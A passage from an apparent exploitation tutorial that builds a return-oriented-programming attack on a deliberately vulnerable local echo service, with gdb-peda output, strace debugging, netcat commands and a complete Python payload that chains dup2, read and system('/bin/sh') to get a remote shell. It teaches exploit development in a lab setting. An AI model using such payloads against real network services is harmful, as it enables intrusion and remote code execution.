   0x080488ec <+158>:	mov    DWORD PTR [esp+0x8],eax
   0x080488f0 <+162>:	lea    eax,[ebp-0x40c]
   0x080488f6 <+168>:	mov    DWORD PTR [esp+0x4],eax
   0x080488fa <+172>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080488fd <+175>:	mov    DWORD PTR [esp],eax
   0x08048900 <+178>:	call   0x80486b0 <write@plt>
   0x08048905 <+183>:	leave  
   0x08048906 <+184>:	ret    
End of assembler dump.
gdb-peda$ b *0x080488d3
Breakpoint 3 at 0x80488d3
gdb-peda$ b *0x08048906
Breakpoint 4 at 0x8048906
gdb-peda$ c
[...]
Breakpoint 3, 0x080488d3 in echo_service ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffffff 
EBX: 0xf7f9d000 --> 0x1a5da8 
ECX: 0xffffffbc 
EDX: 0x450 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd28c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
EIP: 0x8048906 (<echo_service+184>:	ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488fd <echo_service+175>:	mov    DWORD PTR [esp],eax
   0x8048900 <echo_service+178>:	call   0x80486b0 <write@plt>
   0x8048905 <echo_service+183>:	leave  
=> 0x8048906 <echo_service+184>:	ret    
   0x8048907 <doprocessing>:	push   ebp
   0x8048908 <doprocessing+1>:	mov    ebp,esp
   0x804890a <doprocessing+3>:	sub    esp,0x18
   0x804890d <doprocessing+6>:	mov    eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd28c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0008| 0xffffd294 --> 0x4 
0012| 0xffffd298 --> 0x0 
0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0024| 0xffffd2a4 --> 0x4 
0028| 0xffffd2a8 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x08048906 in echo_service ()
gdb-peda$ context stack 16
[------------------------------------stack-------------------------------------]
0000| 0xffffd28c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0008| 0xffffd294 --> 0x4 
0012| 0xffffd298 --> 0x0 
0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>:	jmp    DWORD PTR ds:0x804a010)
0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>:	pop    edi)
0024| 0xffffd2a4 --> 0x4 
0028| 0xffffd2a8 --> 0x1 
0032| 0xffffd2ac --> 0x8048600 (<read@plt>:	jmp    DWORD PTR ds:0x804a014)
0036| 0xffffd2b0 --> 0x8048b6d (<__libc_csu_init+93>:	pop    esi)
0040| 0xffffd2b4 --> 0x4 
0044| 0xffffd2b8 --> 0x804a060 --> 0x0 
0048| 0xffffd2bc --> 0x8 
0052| 0xffffd2c0 --> 0x8048670 (<system@plt>:	jmp    DWORD PTR ds:0x804a030)
0056| 0xffffd2c4 --> 0x0 
0060| 0xffffd2c8 --> 0x804a060 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$ c
Continuing.
[New process 2331]
process 2331 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 3.
Cannot access memory at address 0x80488d3
Cannot insert breakpoint 4.
Cannot access memory at address 0x8048906

--- client side ---

$ (python payload-aslr.py; cat) | nc localhost 7008
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
/bin/sh

We can see that the stack right before returning from the echo_service() function was similar to the stack figure above. All is OK.

Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.

--- server side ---
$ ./echo_service 7010

--- client side ---

$ (python payload-aslr.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
/bin/sh
ls
echo_service
echo_service.c
echo_service-rop.txt
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
  PID TTY          TIME CMD
 8153 pts/4    00:00:00 echo_service
 8218 pts/4    00:00:00 echo_service
 8265 pts/4    00:00:00 sh
 8266 pts/4    00:00:00 sh
 8337 pts/4    00:00:00 ps
18617 pts/4    00:00:00 bash

Excellent! We have created a shell by calling system("/bin/sh") through ROP on an ASLR-enabled system

As you can see, we rely on the read() call inside the echo_service() function to return before we feed the "/bin/sh" string into our ROP-induced read() call. That's why we provide the "/bin/sh" string by hand. We could do it into one command sleep by placing a sleep command before the printing of the payload and the providing of the "/bin/sh" string

$ (python payload-aslr.py; sleep 2; echo "/bin/sh"; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service.c
echo_service-rop.txt
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
  PID TTY          TIME CMD
 9287 pts/4    00:00:00 echo_service
 9661 pts/4    00:00:00 echo_service
 9695 pts/4    00:00:00 sh
 9697 pts/4    00:00:00 sh
 9745 pts/4    00:00:00 ps
18617 pts/4    00:00:00 bash

Alternative ASLR Payload and Testing

If we wanted to provide the "/bin/sh" string in the payload, we would need to update the payload to take care of the fact that the read() call inside the echo_service() function expects 4096 bytes before returning. We could feed it the entire 4096 bytes by adding an extra padding to the payload and then append the "/bin/sh\0" string to the payload. The appended string will be read by our ROP-induced read() call.

The updated payload file will be:

payload-aslr-alt.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
#   [24] .data             PROGBITS        0804a060
data = 0x0804a060
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8)
#  * address of read()
#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret)
#  * read arguments: 4, data address, 8 bytes for /bin/sh\n
payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, data)
 
# Fill 4096 bytes to complete read() call.
bytes_so_far = len(payload)
payload += (4096-bytes_so_far)*"A"
 
# Send "/bin/sh\0" string to ROP-infused read() call.
payload += "/bin/sh\0"
 
sys.stdout.write(payload)

As said we've added additional payload to fill the 4096 bytes to complete the read() call inside the echo_service() function and then we feed the "/bin/sh\0" string.

However, the moment we test the program we see it fails:

--- server side ---

$ ./echo_service 7010

--- client side ---

$ (python payload-aslr-alt.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls

--- server side under strace ---

$ strace -f -e execve ./echo_service 7011
execve("./echo_service", ["./echo_service", "7011"], [/* 35 vars */]) = 0
[ Process PID=14923 runs in 32 bit mode. ]
Process 15032 attached
Process 15033 attached
[pid 15033] execve("/bin/sh", ["sh", "-c", "/bin/sh"], [/* 344 vars */]) = -1 EFAULT (Bad address)
[pid 15033] +++ exited with 127 +++
[pid 15032] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=15033, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
[pid 15032] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
[pid 15032] +++ killed by SIGSEGV +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=15032, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---

We use strace for inspection and see that execve() returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the read() call, we overwrite the pointer. The solution is to add padding using NUL-bytes (\0). In this ways, the environment pointer will be NULL and the execve() call will work OK.

We update the extra padding line in the payload:

# Fill 4096 bytes to complete read() call.
bytes_so_far = len(payload)
payload += (4096-bytes_so_far)*"\0"

We test the program again and we see it works:

--- server side ---
$ ./echo_service 7010

--- client side ---

$ (python payload-aslr-alt.py; cat) | nc localhost 7010
==============================================
Welcome to the Echo service
==============================================
For your free trial, we will only echo 1024 bytes back to you
If you need more, contact our sales representatives at legit_services@lol.cat
ls
echo_service
echo_service-rop.txt
echo_service.c
payload-aslr-alt.py
payload-aslr.py
payload-no-aslr.py
peda-session-echo_service.txt
ps
  PID TTY          TIME CMD
16884 pts/4    00:00:00 echo_service
16962 pts/4    00:00:00 echo_service
16963 pts/4    00:00:00 sh
16965 pts/4    00:00:00 sh
16995 pts/4    00:00:00 ps
18617 pts/4    00:00:00 bash

A shell is created through a ROP-based attack. Work complete!